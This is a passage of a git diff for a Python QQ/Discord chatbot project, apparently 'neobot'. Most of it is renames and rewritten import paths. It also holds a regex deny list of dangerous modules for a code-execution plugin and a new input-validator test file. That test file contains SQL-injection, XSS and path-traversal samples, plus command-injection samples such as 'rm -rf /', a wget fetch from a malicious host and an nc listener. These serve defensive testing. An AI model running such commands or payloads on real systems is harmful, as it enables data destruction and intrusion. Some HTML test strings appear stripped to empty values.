r"delattr\s*\(", + r"hasattr\s*\(", + r"property\s*\(", + r"super\s*\(", + r"type\s*\(", + r"isinstance\s*\(", + r"issubclass\s*\(", + r"callable\s*\(", + r"dir\s*\(", + r"vars\s*\(", + r"help\s*\(", + r"memoryview\s*\(", + r"buffer\s*\(", + r"slice\s*\(", + r"staticmethod\s*\(", + r"classmethod\s*\(", + r"abc\.", + r"inspect\.", + r"pickle\.", + r"marshal\.", + r"shelve\.", + r"dbm\.", + r"sqlite3\.", + r"xml\.", + r"json\.", + r"csv\.", + r"configparser\.", + r"argparse\.", + r"optparse\.", + r"getopt\.", + r"shlex\.", + r"cmd\.", + r"readline\.", + r"rlcompleter\.", + r"stat\.", + r"filecmp\.", + r"tempfile\.", + r"glob\.", + r"fnmatch\.", + r"linecache\.", + r"shutil\.", + r"macpath\.", + r"dircache\.", + r"fileinput\.", + r"statvfs\.", + r"socket\.", + r"ssl\.", + r"select\.", + r"asyncore\.", + r"asynchat\.", + r"signal\.", + r"mmap\.", + r"crypt\.", + r"termios\.", + r"tty\.", + r"pty\.", + r"fcntl\.", + r"pipes\.", + r"posix\.", + r"resource\.", + r"nis\.", + r"syslog\.", + r"commands\.", + r"pdb\.", + r"profile\.", + r"cProfile\.", + r"hotshot\.", + r"timeit\.", + r"trace\.", + r"tracemalloc\.", + r"line_profiler\.", + r"memory_profiler\.", + r"guppy\.", + r"objgraph\.", + r"pympler\.", + r"meliae\.", + r"filprofiler\.", + r"scalene\.", + r"py-spy\.", + r"austin\.", + r"vprof\.", + r"heartrate\.", + r"pyflame\.", + r"perf\.", + r"vmprof\.", + r"yappi\.", + r"callsite\.", + r"codetiming\.", + r"stopwatch\.", + r"timer\.", + r"timing\.", + r"benchmark\.", + r"speedtest\.", + r"performance\.", + r"profiling\.", + r"tracing\.", + r"monitoring\.", + r"instrumentation\.", + r"debugging\.", + r"logging\.", + r"warnings\.", + r"exceptions\.", + r"traceback\.", + r"__future__\.", + r"builtins\.", + r"types\.", + r"collections\.", + r"heapq\.", + r"bisect\.", + r"array\.", + r"sched\.", + r"queue\.", + r"weakref\.", + r"copy\.", + r"pprint\.", + r"reprlib\.", + r"enum\.", + r"numbers\.", + r"math\.", + r"cmath\.", + r"decimal\.", + r"fractions\.", + r"random\.", + r"statistics\.", + r"itertools\.", + r"functools\.", + r"operator\.", + r"pathlib\.", + r"os\.path\.", + r"fileinput\.", + r"stat\.", + r"statvfs\.", + r"grp\.", + r"pwd\.", + r"crypt\.", + r"termios\.", + r"tty\.", + r"pty\.", + r"fcntl\.", + r"pipes\.", + r"resource\.", + r"sys\.", + r"sysconfig\.", + r"builtins\.", + r"__main__\.", + r"warnings\.", + r"contextlib\.", + r"abc\.", + r"atexit\.", + r"traceback\.", + r"__future__\.", + r"gc\.", + r"inspect\.", + r"site\.", + r"code\.", + r"codeop\.", + r"zipfile\.", + r"tarfile\.", + r"shutil\.", + r"glob\.", + r"fnmatch\.", + r"linecache\.", + r"shlex\.", + r"macpath\.", + r"dircache\.", + r"stat\.", + r"statvfs\.", + r"filecmp\.", + r"tempfile\.", + r"spwd\.", + r"grp\.", + r"pwd\.", + r"crypt\.", + r"termios\.", + r"tty\.", + r"pty\.", + r"fcntl\.", + r"pipes\.", + r"resource\.", + r"nis\.", + r"syslog\.", + r"commands\.", + ] + + for pattern in dangerous_patterns: + if re.search(pattern, code, re.IGNORECASE): + logger.warning(f"检测到危险模块导入: {pattern}") + return False + + return True + @matcher.command("py", "python", "code_py") async def code_py_main(event: MessageEvent, args: list[str]): diff --git a/plugins/discord-cross/__init__.py b/src/neobot/plugins/discord-cross/__init__.py similarity index 93% rename from plugins/discord-cross/__init__.py rename to src/neobot/plugins/discord-cross/__init__.py index 2e0956b..46af207 100644 --- a/plugins/discord-cross/__init__.py +++ b/src/neobot/plugins/discord-cross/__init__.py @@ -3,7 +3,7 @@ 跨平台消息互通插件入口 """ import asyncio -from core.utils.logger import ModuleLogger +from neobot.core.utils.logger import ModuleLogger from .config import config from .subscription import start_cross_platform_subscription, stop_cross_platform_subscription from .handlers import * diff --git a/plugins/discord-cross/config.py b/src/neobot/plugins/discord-cross/config.py similarity index 97% rename from plugins/discord-cross/config.py rename to src/neobot/plugins/discord-cross/config.py index 274789e..13c426e 100644 --- a/plugins/discord-cross/config.py +++ b/src/neobot/plugins/discord-cross/config.py @@ -4,8 +4,8 @@ """ import os from typing import Dict, Any -from core.utils.logger import ModuleLogger -from core.config_loader import global_config +from neobot.core.utils.logger import ModuleLogger +from neobot.core.config_loader import global_config # 创建模块专用日志记录器 logger = ModuleLogger("CrossPlatformConfig") diff --git a/plugins/discord-cross/handlers.py b/src/neobot/plugins/discord-cross/handlers.py similarity index 97% rename from plugins/discord-cross/handlers.py rename to src/neobot/plugins/discord-cross/handlers.py index bc92f9a..bf9a331 100644 --- a/plugins/discord-cross/handlers.py +++ b/src/neobot/plugins/discord-cross/handlers.py @@ -5,11 +5,11 @@ import os import html from typing import List, Any -from core.managers.command_manager import matcher -from models.events.message import GroupMessageEvent, MessageEvent -from models.message import MessageSegment -from core.permission import Permission -from core.utils.logger import ModuleLogger +from neobot.core.managers.command_manager import matcher +from neobot.models.events.message import GroupMessageEvent, MessageEvent +from neobot.models.message import MessageSegment +from neobot.core.permission import Permission +from neobot.core.utils.logger import ModuleLogger from .config import config from .parser import parse_forward_nodes from .sender import forward_discord_to_qq, forward_qq_to_discord @@ -144,7 +144,7 @@ async def handle_qq_group_message(event: GroupMessageEvent): try: group_info = await event.bot.get_group_info(event.group_id) group_name = group_info.get("group_name", "") - except Exception: + except (AttributeError, KeyError, ValueError): group_name = f"群{group_id}" await handle_qq_message( @@ -155,7 +155,7 @@ async def handle_qq_group_message(event: GroupMessageEvent): content=content, attachments=attachments ) - except Exception as e: + except (AttributeError, KeyError, ValueError) as e: logger.error(f"[CrossPlatform] 处理 QQ 群消息失败: {e}") import traceback logger.error(f"[CrossPlatform] 异常堆栈: {traceback.format_exc()}") diff --git a/plugins/discord-cross/parser.py b/src/neobot/plugins/discord-cross/parser.py similarity index 99% rename from plugins/discord-cross/parser.py rename to src/neobot/plugins/discord-cross/parser.py index 99fcb6f..07c4f55 100644 --- a/plugins/discord-cross/parser.py +++ b/src/neobot/plugins/discord-cross/parser.py @@ -6,8 +6,8 @@ import os import json import re from typing import Dict, List, Any -from models.message import MessageSegment -from core.utils.logger import ModuleLogger +from neobot.models.message import MessageSegment +from neobot.core.utils.logger import ModuleLogger from .config import config # 创建模块专用日志记录器 diff --git a/plugins/discord-cross/sender.py b/src/neobot/plugins/discord-cross/sender.py similarity index 97% rename from plugins/discord-cross/sender.py rename to src/neobot/plugins/discord-cross/sender.py index ef924d4..366f9c8 100644 --- a/plugins/discord-cross/sender.py +++ b/src/neobot/plugins/discord-cross/sender.py @@ -4,8 +4,8 @@ """ import json from typing import List -from core.utils.logger import ModuleLogger -from core.managers.redis_manager import redis_manager +from neobot.core.utils.logger import ModuleLogger +from neobot.core.managers.redis_manager import redis_manager from .config import config from .translator import translate_with_deepseek from .parser import format_discord_to_qq_content, format_qq_to_discord_content, extract_text_only @@ -33,8 +33,8 @@ async def send_to_qq(group_id: int, content: str, attachments: List[dict] = None """发送消息到 QQ 群""" logger.debug(f"[CrossPlatform] send_to_qq: group_id={group_id}, content='{content}', attachments={attachments}") try: - from core.managers.bot_manager import bot_manager - from models.message import MessageSegment + from neobot.core.managers.bot_manager import bot_manager + from neobot.models.message import MessageSegment all_bots = bot_manager.get_all_bots() diff --git a/plugins/discord-cross/subscription.py b/src/neobot/plugins/discord-cross/subscription.py similarity index 96% rename from plugins/discord-cross/subscription.py rename to src/neobot/plugins/discord-cross/subscription.py index e3708e3..e539d46 100644 --- a/plugins/discord-cross/subscription.py +++ b/src/neobot/plugins/discord-cross/subscription.py @@ -4,8 +4,8 @@ """ import json import asyncio -from core.utils.logger import ModuleLogger -from core.managers.redis_manager import redis_manager +from neobot.core.utils.logger import ModuleLogger +from neobot.core.managers.redis_manager import redis_manager from .config import config from .sender import forward_discord_to_qq, forward_qq_to_discord diff --git a/plugins/discord-cross/translator.py b/src/neobot/plugins/discord-cross/translator.py similarity index 98% rename from plugins/discord-cross/translator.py rename to src/neobot/plugins/discord-cross/translator.py index 8b9cf55..55399cf 100644 --- a/plugins/discord-cross/translator.py +++ b/src/neobot/plugins/discord-cross/translator.py @@ -5,8 +5,8 @@ import time import uuid from typing import Dict, List -from core.utils.logger import ModuleLogger -from core.managers.vectordb_manager import vectordb_manager +from neobot.core.utils.logger import ModuleLogger +from neobot.core.managers.vectordb_manager import vectordb_manager from .config import config # 创建模块专用日志记录器 diff --git a/plugins/echo.py b/src/neobot/plugins/echo.py similarity index 90% rename from plugins/echo.py rename to src/neobot/plugins/echo.py index 8a700a2..cb994fb 100644 --- a/plugins/echo.py +++ b/src/neobot/plugins/echo.py @@ -3,9 +3,9 @@ Echo 与交互插件 提供 /echo 和 /赞我 指令。 """ -from core.managers.command_manager import matcher -from core.bot import Bot -from models.events.message import MessageEvent +from neobot.core.managers.command_manager import matcher +from neobot.core.bot import Bot +from neobot.models.events.message import MessageEvent __plugin_meta__ = { "name": "echo", diff --git a/plugins/furry.py b/src/neobot/plugins/furry.py similarity index 90% rename from plugins/furry.py rename to src/neobot/plugins/furry.py index 7fbbe42..dc29669 100644 --- a/plugins/furry.py +++ b/src/neobot/plugins/furry.py @@ -4,10 +4,10 @@ thpic 插件 提供 /furry 指令，用于随机返回一个东方Project的图片。 """ -from core.managers.command_manager import matcher -from core.bot import Bot -from models.events.message import MessageEvent -from models.message import MessageSegment +from neobot.core.managers.command_manager import matcher +from neobot.core.bot import Bot +from neobot.models.events.message import MessageEvent +from neobot.models.message import MessageSegment __plugin_meta__ = { "name": "furry", diff --git a/plugins/furry_assistant.py b/src/neobot/plugins/furry_assistant.py similarity index 98% rename from plugins/furry_assistant.py rename to src/neobot/plugins/furry_assistant.py index 9f3a3d2..66f01d9 100644 --- a/plugins/furry_assistant.py +++ b/src/neobot/plugins/furry_assistant.py @@ -8,9 +8,9 @@ import random from datetime import datetime from typing import List, Optional -from core.managers.command_manager import matcher -from core.bot import Bot -from models.events.message import MessageEvent +from neobot.core.managers.command_manager import matcher +from neobot.core.bot import Bot +from neobot.models.events.message import MessageEvent __plugin_meta__ = { "name": "furry_assistant", diff --git a/plugins/furry_assistant_README.md b/src/neobot/plugins/furry_assistant_README.md similarity index 100% rename from plugins/furry_assistant_README.md rename to src/neobot/plugins/furry_assistant_README.md diff --git a/plugins/github_parser.py b/src/neobot/plugins/github_parser.py similarity index 97% rename from plugins/github_parser.py rename to src/neobot/plugins/github_parser.py index aac85db..e180479 100644 --- a/plugins/github_parser.py +++ b/src/neobot/plugins/github_parser.py @@ -5,9 +5,9 @@ import aiohttp from typing import Optional, Dict, Any, Union from cachetools import TTLCache -from core.utils.logger import logger -from core.managers.command_manager import matcher -from core.managers.image_manager import image_manager +from neobot.core.utils.logger import logger +from neobot.core.managers.command_manager import matcher +from neobot.core.managers.image_manager import image_manager from models import MessageEvent, MessageSegment # 插件元数据 diff --git a/plugins/group_welcome.py b/src/neobot/plugins/group_welcome.py similarity index 83% rename from plugins/group_welcome.py rename to src/neobot/plugins/group_welcome.py index 033c315..f6d0f2e 100644 --- a/plugins/group_welcome.py +++ b/src/neobot/plugins/group_welcome.py @@ -3,10 +3,10 @@ 在机器人加入群时发送提醒消息，包含作者信息和用途说明。 """ -from core.managers.command_manager import matcher -from core.bot import Bot -from models.events.notice import GroupIncreaseNoticeEvent -from models.message import MessageSegment +from neobot.core.managers.command_manager import matcher +from neobot.core.bot import Bot +from neobot.models.events.notice import GroupIncreaseNoticeEvent +from neobot.models.message import MessageSegment __plugin_meta__ = { "name": "入群提醒", diff --git a/plugins/jrcd.py b/src/neobot/plugins/jrcd.py similarity index 93% rename from plugins/jrcd.py rename to src/neobot/plugins/jrcd.py index 7364f2b..cd0a8cc 100644 --- a/plugins/jrcd.py +++ b/src/neobot/plugins/jrcd.py @@ -7,12 +7,12 @@ import random from datetime import datetime -from core.bot import Bot -from core.managers.command_manager import matcher -from core.managers.redis_manager import redis_manager -from core.utils.executor import run_in_thread_pool -from models.events.message import MessageEvent, MessageSegment -from core.utils.logger import logger +from neobot.core.bot import Bot +from neobot.core.managers.command_manager import matcher +from neobot.core.managers.redis_manager import redis_manager +from neobot.core.utils.executor import run_in_thread_pool +from neobot.models.events.message import MessageEvent, MessageSegment +from neobot.core.utils.logger import logger __plugin_meta__ = { @@ -146,7 +146,7 @@ async def handle_bbcd(bot: Bot, event: MessageEvent, args: list[str]): user_id1 = event.user_id try: user_id2 = int(message[1].data.get("qq", 0)) - except Exception: + except (ValueError, AttributeError, IndexError): return if user_id1 == user_id2: diff --git a/plugins/knowledge_base.py b/src/neobot/plugins/knowledge_base.py similarity index 96% rename from plugins/knowledge_base.py rename to src/neobot/plugins/knowledge_base.py index 71db0c5..ca5c377 100644 --- a/plugins/knowledge_base.py +++ b/src/neobot/plugins/knowledge_base.py @@ -4,11 +4,11 @@ """ import time import uuid -from core.managers.command_manager import matcher -from models.events.message import GroupMessageEvent, PrivateMessageEvent -from core.managers.vectordb_manager import vectordb_manager -from core.utils.logger import ModuleLogger -from core.permission import Permission +from neobot.core.managers.command_manager import matcher +from neobot.models.events.message import GroupMessageEvent, PrivateMessageEvent +from neobot.core.managers.vectordb_manager import vectordb_manager +from neobot.core.utils.logger import ModuleLogger +from neobot.core.permission import Permission logger = ModuleLogger("GroupKnowledgeBase") diff --git a/plugins/mirror_avatar.py b/src/neobot/plugins/mirror_avatar.py similarity index 97% rename from plugins/mirror_avatar.py rename to src/neobot/plugins/mirror_avatar.py index d78d25a..4e1bf6f 100644 --- a/plugins/mirror_avatar.py +++ b/src/neobot/plugins/mirror_avatar.py @@ -4,9 +4,9 @@ 提供 /镜像 指令，将@的用户头像或用户发送的图片处理成轴对称图形。 支持普通图片和 GIF 动画。 """ -from core.managers.command_manager import matcher -from core.bot import Bot -from models.events.message import MessageEvent +from neobot.core.managers.command_manager import matcher +from neobot.core.bot import Bot +from neobot.models.events.message import MessageEvent from PIL import Image, ImageSequence import io import aiohttp @@ -242,7 +242,7 @@ async def handle_image_message(bot: Bot, event: MessageEvent): return # 发送处理后的图片 - from models.message import MessageSegment + from neobot.models.message import MessageSegment # 将字节数据转换为 Base64 编码 processed_image_base64 = base64.b64encode(processed_image).decode('utf-8') # 使用 Base64 编码的字符串 @@ -292,7 +292,7 @@ async def handle_mirror(bot: Bot, event: MessageEvent, args: list[str]): return # 发送处理后的头像 - from models.message import MessageSegment + from neobot.models.message import MessageSegment # 将字节数据转换为 Base64 编码 processed_avatar_base64 = base64.b64encode(processed_avatar).decode('utf-8') # 使用 Base64 编码的字符串 diff --git a/core/__init__.py b/src/neobot/plugins/osu!_plugin/__init__.py similarity index 100% rename from core/__init__.py rename to src/neobot/plugins/osu!_plugin/__init__.py diff --git a/plugins/osu!_plugin/test.py b/src/neobot/plugins/osu!_plugin/test.py similarity index 100% rename from plugins/osu!_plugin/test.py rename to src/neobot/plugins/osu!_plugin/test.py diff --git a/plugins/resource/city_code.py b/src/neobot/plugins/resource/city_code.py similarity index 100% rename from plugins/resource/city_code.py rename to src/neobot/plugins/resource/city_code.py diff --git a/plugins/resource/help.png b/src/neobot/plugins/resource/help.png similarity index 100% rename from plugins/resource/help.png rename to src/neobot/plugins/resource/help.png diff --git a/plugins/thpic.py b/src/neobot/plugins/thpic.py similarity index 92% rename from plugins/thpic.py rename to src/neobot/plugins/thpic.py index 0512118..7d72597 100644 --- a/plugins/thpic.py +++ b/src/neobot/plugins/thpic.py @@ -5,9 +5,9 @@ thpic 插件 """ -from core.bot import Bot -from core.managers.command_manager import matcher -from models.events.message import MessageEvent, MessageSegment +from neobot.core.bot import Bot +from neobot.core.managers.command_manager import matcher +from neobot.models.events.message import MessageEvent, MessageSegment __plugin_meta__ = { "name": "thpic", diff --git a/plugins/weather.py b/src/neobot/plugins/weather.py similarity index 85% rename from plugins/weather.py rename to src/neobot/plugins/weather.py index ded39b0..b569011 100644 --- a/plugins/weather.py +++ b/src/neobot/plugins/weather.py @@ -3,11 +3,12 @@ import re from datetime import datetime from typing import Any, Dict, List -import requests +import aiohttp -from core.managers.command_manager import matcher -from core.managers.image_manager import image_manager -from core.utils.logger import logger +from neobot.core.managers.command_manager import matcher +from neobot.core.managers.image_manager import image_manager +from neobot.core.utils.logger import logger +from neobot.core.utils.input_validator import input_validator from models import MessageEvent, MessageSegment from .resource.city_code import CITY_CODES # 插件元数据 @@ -22,7 +23,7 @@ HEADERS = { } -def get_weather_data(city_code: str) -> Dict[str, Any]: +async def get_weather_data(city_code: str) -> Dict[str, Any]: """ 获取天气数据 @@ -34,10 +35,13 @@ def get_weather_data(city_code: str) -> Dict[str, Any]: """ try: url = f"https://www.weather.com.cn/weather/{city_code}.shtml" - response = requests.get(url, headers=HEADERS, timeout=10) - response.encoding = "utf-8" - html_content = response.text - + + # 使用异步 HTTP 客户端 + timeout = aiohttp.ClientTimeout(total=10) + async with aiohttp.ClientSession(timeout=timeout) as session: + async with session.get(url, headers=HEADERS) as response: + html_content = await response.text(encoding="utf-8") + # 提取城市信息 city_info = ( html_content.split('" + + def test_validate_required_keys_all_present(self): + """测试验证必需的键（全部存在）""" + required_keys = ["KEY1", "KEY2", "KEY3"] + + with patch.dict(os.environ, {"KEY1": "value1", "KEY2": "value2", "KEY3": "value3"}): + loader = EnvLoader() + loader.load() + + # 应该不抛出异常 + loader.validate_required_keys(required_keys) + + def test_validate_required_keys_missing(self): + """测试验证必需的键（有缺失）""" + required_keys = ["KEY1", "KEY2", "MISSING_KEY"] + + with patch.dict(os.environ, {"KEY1": "value1", "KEY2": "value2"}): + loader = EnvLoader() + loader.load() + + # 应该抛出 ValueError + with pytest.raises(ValueError) as exc_info: + loader.validate_required_keys(required_keys) + + assert "MISSING_KEY" in str(exc_info.value) + + def test_global_env_loader_instance(self): + """测试全局环境变量加载器实例""" + from neobot.core.utils.env_loader import env_loader + + assert isinstance(env_loader, EnvLoader) + assert env_loader.env_file == Path(".env") + + @pytest.mark.asyncio + async def test_async_compatibility(self): + """测试异步兼容性""" + # 确保在异步环境中也能正常工作 + loader = EnvLoader() + loader.load() + + # 模拟异步环境中的使用 + value = loader.get("TEST_KEY", "default") + assert value == "default" + + +if __name__ == "__main__": + pytest.main([__file__, "-v"]) \ No newline at end of file diff --git a/tests/test_event_factory.py b/src/neobot/tests/test_event_factory.py similarity index 97% rename from tests/test_event_factory.py rename to src/neobot/tests/test_event_factory.py index fe92d1e..0aa7563 100644 --- a/tests/test_event_factory.py +++ b/src/neobot/tests/test_event_factory.py @@ -1,8 +1,8 @@ import pytest -from models.events.factory import EventFactory -from models.events.base import EventType -from models.events.message import GroupMessageEvent, PrivateMessageEvent -from models.events.notice import ( +from neobot.models.events.factory import EventFactory +from neobot.models.events.base import EventType +from neobot.models.events.message import GroupMessageEvent, PrivateMessageEvent +from neobot.models.events.notice import ( FriendAddNoticeEvent, FriendRecallNoticeEvent, GroupRecallNoticeEvent, GroupIncreaseNoticeEvent, GroupDecreaseNoticeEvent, GroupAdminNoticeEvent, GroupBanNoticeEvent, GroupUploadNoticeEvent, PokeNotifyEvent, @@ -10,8 +10,8 @@ from models.events.notice import ( OfflineFileNoticeEvent, ClientStatusNoticeEvent, EssenceNoticeEvent, NotifyNoticeEvent ) -from models.events.request import FriendRequestEvent, GroupRequestEvent -from models.events.meta import HeartbeatEvent, LifeCycleEvent +from neobot.models.events.request import FriendRequestEvent, GroupRequestEvent +from neobot.models.events.meta import HeartbeatEvent, LifeCycleEvent class TestEventFactory: diff --git a/tests/test_event_handler.py b/src/neobot/tests/test_event_handler.py similarity index 95% rename from tests/test_event_handler.py rename to src/neobot/tests/test_event_handler.py index 80af28f..ce0dc8f 100644 --- a/tests/test_event_handler.py +++ b/src/neobot/tests/test_event_handler.py @@ -1,9 +1,9 @@ import pytest from unittest.mock import AsyncMock, MagicMock, patch -from core.handlers.event_handler import MessageHandler, NoticeHandler, RequestHandler -from models.events.message import GroupMessageEvent -from models.events.notice import GroupIncreaseNoticeEvent -from models.events.request import FriendRequestEvent +from neobot.core.handlers.event_handler import MessageHandler, NoticeHandler, RequestHandler +from neobot.models.events.message import GroupMessageEvent +from neobot.models.events.notice import GroupIncreaseNoticeEvent +from neobot.models.events.request import FriendRequestEvent @pytest.fixture def mock_bot(): diff --git a/tests/test_executor.py b/src/neobot/tests/test_executor.py similarity index 98% rename from tests/test_executor.py rename to src/neobot/tests/test_executor.py index 296bdeb..6b5277c 100644 --- a/tests/test_executor.py +++ b/src/neobot/tests/test_executor.py @@ -2,7 +2,7 @@ import asyncio import pytest from unittest.mock import MagicMock, patch, AsyncMock import docker -from core.utils.executor import CodeExecutor +from neobot.core.utils.executor import CodeExecutor # Mock 配置对象 @pytest.fixture @@ -138,7 +138,7 @@ async def test_worker_docker_errors(executor): worker_task.cancel() try: await worker_task - except Exception: + except asyncio.CancelledError: pass # ContainerError @@ -154,7 +154,7 @@ async def test_worker_docker_errors(executor): worker_task.cancel() try: await worker_task - except Exception: + except asyncio.CancelledError: pass def test_run_in_container_success(executor): diff --git a/src/neobot/tests/test_input_validator.py b/src/neobot/tests/test_input_validator.py new file mode 100644 index 0000000..a2a1394 --- /dev/null +++ b/src/neobot/tests/test_input_validator.py @@ -0,0 +1,356 @@ +""" +输入验证器测试 +""" +import pytest + +from neobot.core.utils.input_validator import InputValidator, input_validator + + +class TestInputValidator: + """输入验证器测试类""" + + def setup_method(self): + """每个测试方法前的设置""" + self.validator = InputValidator() + + def test_validate_sql_input_safe(self): + """测试安全的 SQL 输入""" + safe_inputs = [ + "hello world", + "北京天气", + "123456", + "python print('hello')", + "正常查询语句", + ] + + for input_str in safe_inputs: + result = self.validator.validate_sql_input(input_str) + assert result is True, f"应该安全: {input_str}" + + def test_validate_sql_input_dangerous(self): + """测试危险的 SQL 输入""" + dangerous_inputs = [ + "SELECT * FROM users", + "DROP TABLE users", + "'; DELETE FROM users; --", + "UNION SELECT password FROM users", + "EXEC xp_cmdshell 'dir'", + "admin' OR '1'='1", + ] + + for input_str in dangerous_inputs: + result = self.validator.validate_sql_input(input_str) + assert result is False, f"应该危险: {input_str}" + + def test_validate_sql_input_with_safe_keywords(self): + """测试允许安全关键字的 SQL 输入验证""" + # 允许 SELECT 但不允许 DROP + result = self.validator.validate_sql_input("SELECT name FROM users", allow_safe_keywords=True) + assert result is True + + result = self.validator.validate_sql_input("DROP TABLE users", allow_safe_keywords=True) + assert result is False + + def test_validate_xss_input_safe(self): + """测试安全的 XSS 输入""" + safe_inputs = [ + "普通文本", + "
正常HTML
", + "用户输入内容", + "http://example.com", + "javascript 教程", # 注意：包含 javascript 但不是攻击 + ] + + for input_str in safe_inputs: + result = self.validator.validate_xss_input(input_str) + assert result is True, f"应该安全: {input_str}" + + def test_validate_xss_input_dangerous(self): + """测试危险的 XSS 输入""" + dangerous_inputs = [ + "", + "", + "javascript:alert('xss')", + "", + "onclick=alert('xss')", + "", + ] + + for input_str in dangerous_inputs: + result = self.validator.validate_xss_input(input_str) + assert result is False, f"应该危险: {input_str}" + + def test_validate_path_input_safe(self): + """测试安全的路径输入""" + safe_inputs = [ + "data/file.txt", + "images/avatar.png", + "config.toml", + "正常路径", + "subdir/document.pdf", + ] + + for input_str in safe_inputs: + result = self.validator.validate_path_input(input_str) + assert result is True, f"应该安全: {input_str}" + + def test_validate_path_input_dangerous(self): + """测试危险的路径输入""" + dangerous_inputs = [ + "../../../etc/passwd", + "C:\\Windows\\System32\\cmd.exe", + "/bin/bash", + "..%2f..%2f..%2fetc%2fpasswd", + "/etc/shadow", + ] + + for input_str in dangerous_inputs: + result = self.validator.validate_path_input(input_str) + assert result is False, f"应该危险: {input_str}" + + def test_validate_command_input_safe(self): + """测试安全的命令输入""" + safe_inputs = [ + "echo hello", + "python print('test')", + "正常命令", + "ls -la", # 注意：包含 ls 但不是攻击 + "git status", + ] + + for input_str in safe_inputs: + result = self.validator.validate_command_input(input_str) + assert result is True, f"应该安全: {input_str}" + + def test_validate_command_input_dangerous(self): + """测试危险的命令输入""" + dangerous_inputs = [ + "ls; rm -rf /", + "dir & del *.*", + "rm -rf /", + "wget http://malicious.com/backdoor", + "nc -lvp 4444", + ] + + for input_str in dangerous_inputs: + result = self.validator.validate_command_input(input_str) + assert result is False, f"应该危险: {input_str}" + + def test_validate_url_valid(self): + """测试有效的 URL""" + valid_urls = [ + "http://example.com", + "https://github.com", + "ftp://files.example.com", + "http://localhost:8080", + "https://api.example.com/v1/users", + ] + + for url in valid_urls: + result = self.validator.validate_url(url) + assert result is True, f"应该有效: {url}" + + def test_validate_url_invalid(self): + """测试无效的 URL""" + invalid_urls = [ + "javascript:alert('xss')", + "file:///etc/passwd", + "data:text/html,", + "not-a-url", + "", + None, + ] + + for url in invalid_urls: + if url is None: + result = self.validator.validate_url("") + else: + result = self.validator.validate_url(url) + assert result is False, f"应该无效: {url}" + + def test_validate_url_with_allowed_schemes(self): + """测试使用允许的协议列表验证 URL""" + # 只允许 http 和 https + result = self.validator.validate_url("http://example.com", allowed_schemes=["http", "https"]) + assert result is True + + result = self.validator.validate_url("ftp://example.com", allowed_schemes=["http", "https"]) + assert result is False + + def test_validate_email_valid(self): + """测试有效的邮箱地址""" + valid_emails = [ + "user@example.com", + "test.user@domain.co.uk", + "name123@sub.domain.com", + "first.last@company.org", + ] + + for email in valid_emails: + result = self.validator.validate_email(email) + assert result is True, f"应该有效: {email}" + + def test_validate_email_invalid(self): + """测试无效的邮箱地址""" + invalid_emails = [ + "not-an-email", + "user@", + "@domain.com", + "user@.com", + "user@domain.", + "", + "user@com", + ] + + for email in invalid_emails: + result = self.validator.validate_email(email) + assert result is False, f"应该无效: {email}" + + def test_validate_phone_valid(self): + """测试有效的手机号（中国格式）""" + valid_phones = [ + "13800138000", + "13912345678", + "15098765432", + "18800001111", + "19912345678", + ] + + for phone in valid_phones: + result = self.validator.validate_phone(phone) + assert result is True, f"应该有效: {phone}" + + def test_validate_phone_invalid(self): + """测试无效的手机号""" + invalid_phones = [ + "1234567890", # 不是1开头 + "1380013800", # 长度不够 + "23800138000", # 第二位不是3-9 + "not-a-phone", + "138001380001", # 长度太长 + "", + "01234567890", + ] + + for phone in invalid_phones: + result = self.validator.validate_phone(phone) + assert result is False, f"应该无效: {phone}" + + def test_validate_integer_valid(self): + """测试有效的整数""" + valid_cases = [ + ("123", None, None, True), + ("-456", None, None, True), + ("0", None, None, True), + ("100", 0, 200, True), + ("50", 0, 100, True), + ("-10", -20, 0, True), + ] + + for value, min_val, max_val, expected in valid_cases: + result = self.validator.validate_integer(value, min_val, max_val) + assert result == expected, f"应该有效: {value} (min={min_val}, max={max_val})" + + def test_validate_integer_invalid(self): + """测试无效的整数""" + invalid_cases = [ + ("not-a-number", None, None, False), + ("123.45", None, None, False), + ("", None, None, False), + ("100", 200, 300, False), # 小于最小值 + ("400", 0, 300, False), # 大于最大值 + ("abc123", None, None, False), + ] + + for value, min_val, max_val, expected in invalid_cases: + result = self.validator.validate_integer(value, min_val, max_val) + assert result == expected, f"应该无效: {value} (min={min_val}, max={max_val})" + + def test_validate_float_valid(self): + """测试有效的浮点数""" + valid_cases = [ + ("123.45", None, None, True), + ("-78.9", None, None, True), + ("0.0", None, None, True), + ("3.14", 0.0, 10.0, True), + ("7.5", 5.0, 10.0, True), + ("-2.5", -5.0, 0.0, True), + ] + + for value, min_val, max_val, expected in valid_cases: + result = self.validator.validate_float(value, min_val, max_val) + assert result == expected, f"应该有效: {value} (min={min_val}, max={max_val})" + + def test_validate_float_invalid(self): + """测试无效的浮点数""" + invalid_cases = [ + ("not-a-float", None, None, False), + ("", None, None, False), + ("123.45", 200.0, 300.0, False), # 小于最小值 + ("400.5", 0.0, 300.0, False), # 大于最大值 + ] + + for value, min_val, max_val, expected in invalid_cases: + result = self.validator.validate_float(value, min_val, max_val) + assert result == expected, f"应该无效: {value} (min={min_val}, max={max_val})" + + def test_sanitize_html(self): + """测试 HTML 清理""" + test_cases = [ + ("", "<script>alert('xss')</script>"), + ("
正常内容
", "<div>正常内容</div>"), + ("onclick=alert('xss')", "data-click=alert('xss')"), + ("javascript:alert('xss')", "data:alert('xss')"), + ("", ""), + ] + + for input_str, expected in test_cases: + result = self.validator.sanitize_html(input_str) + assert result == expected, f"清理结果不符: {input_str} -> {result}" + + def test_sanitize_sql(self): + """测试 SQL 清理""" + test_cases = [ + ("SELECT * FROM users; -- 注释", "SELECT * FROM users "), + ("DROP TABLE users;", "DROP TABLE users"), + ("/* 多行注释 */ SELECT * FROM users", " SELECT * FROM users"), + ("正常SQL语句", "正常SQL语句"), + ("", ""), + ] + + for input_str, expected in test_cases: + result = self.validator.sanitize_sql(input_str) + assert result == expected, f"清理结果不符: {input_str} -> {result}" + + def test_validate_all_default_types(self): + """测试默认验证类型""" + input_str = "正常输入" + results = self.validator.validate_all(input_str) + + expected_types = ['sql', 'xss', 'path', 'command'] + for vtype in expected_types: + assert vtype in results + assert results[vtype] is True + + def test_validate_all_custom_types(self): + """测试自定义验证类型""" + input_str = "user@example.com" + validation_types = ['email', 'phone', 'url'] + + results = self.validator.validate_all(input_str, validation_types) + + assert 'email' in results and results['email'] is True + assert 'phone' in results and results['phone'] is False + assert 'url' in results and results['url'] is False + + def test_global_input_validator_instance(self): + """测试全局输入验证器实例""" + assert isinstance(input_validator, InputValidator) + + # 测试全局实例的功能 + result = input_validator.validate_sql_input("正常输入") + assert result is True + + +if __name__ == "__main__": + pytest.main([__file__, "-v"]) \ No newline at end of file diff --git a/tests/test_models.py b/src/neobot/tests/test_models.py similarity 